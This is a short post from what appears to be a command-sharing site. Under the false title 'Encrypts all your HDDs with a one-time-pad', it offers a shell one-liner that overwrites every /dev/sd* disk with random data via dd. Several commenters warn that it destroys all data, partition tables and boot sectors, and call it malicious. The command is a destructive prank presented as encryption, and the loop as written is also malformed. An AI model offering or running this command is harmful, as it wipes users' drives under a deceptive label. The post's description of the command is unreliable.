Encrypts all your HDDs with a one-time-pad

for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
Alternatively, run as root and take out the sudo.

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2009-02-05 22:05:46

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Where is the "Flag as offensive" command?
jmcantrell · 789 weeks and 6 days ago
Damn! NEVER DO THIS COMMAND, it fills all your SCSI drives with random junk, including boot sectors, partition tables etc. It does not encrypt, it destroys all data. Chances are it may even make your drive unusable.
chickenkiller · 789 weeks and 6 days ago
This is just malicious. this will do an if loop, find all your hard drives and try and write random junk. To the authors credit he does state 1 way encryption.
dhing · 789 weeks and 5 days ago
Guys, click the username ;)
porges · 789 weeks and 5 days ago
damn this is bad thing , bad command
gg · 779 weeks ago

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